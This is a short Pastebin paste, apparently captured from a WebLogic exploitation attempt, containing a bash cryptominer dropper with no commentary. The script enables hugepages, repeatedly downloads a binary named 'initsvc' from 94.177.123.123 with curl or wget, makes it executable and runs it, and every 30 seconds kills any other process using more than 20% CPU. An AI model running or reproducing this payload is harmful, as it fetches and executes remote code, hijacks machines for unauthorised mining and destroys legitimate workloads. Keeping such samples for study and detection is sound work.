thlnk3r

wls_vuln_attempt_94.177.123.123_linux_lib

Jan 11th, 2018
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.81 KB | None | 0 0
  1. #!/bin/bash
  2. function kills() {
  3. /bin/ps axf -o "pid %cpu command" |grep -v initsvc | awk '{if($2>20.0) print $1}' | while read procid
  4. do
  5. kill -9 $procid
  6. done
  7. }
  8.  
  9. function hugepage() {
  10. echo 128 > /proc/sys/vm/nr_hugepages
  11. sysctl -w vm.nr_hugepages=128
  12. }
  13.  
  14. function downloadyam() {
  15. if [ ! -f "initsvc" ] ;then
  16. curl http://94.177.123.123/css/initsvc > /tmp/initsvc && chmod +x /tmp/initsvc
  17. if [ ! -f "initsvc" ] ;then
  18. wget -P /tmp/ curl http://94.177.123.123/css/initsvc && chmod +x /tmp/initsvc
  19. rm -rf /tmp/initsvc.*
  20. fi
  21. /tmp/initsvc &
  22. else
  23. p=$(ps aux | grep initsvc | grep -v grep | wc -l)
  24. if [ ${p} -eq 1 ];then
  25. echo "initsvc"
  26. elif [ ${p} -eq 0 ];then
  27. /tmp/initsvc &
  28. else
  29. echo ""
  30. fi
  31. fi
  32. }
  33.  
  34. hugepage
  35. cd /tmp/
  36. while [ 1 ]
  37. do
  38. downloadyam
  39. kills
  40. sleep 30
  41. done
Advertisement
Add Comment
Please, Sign In to add comment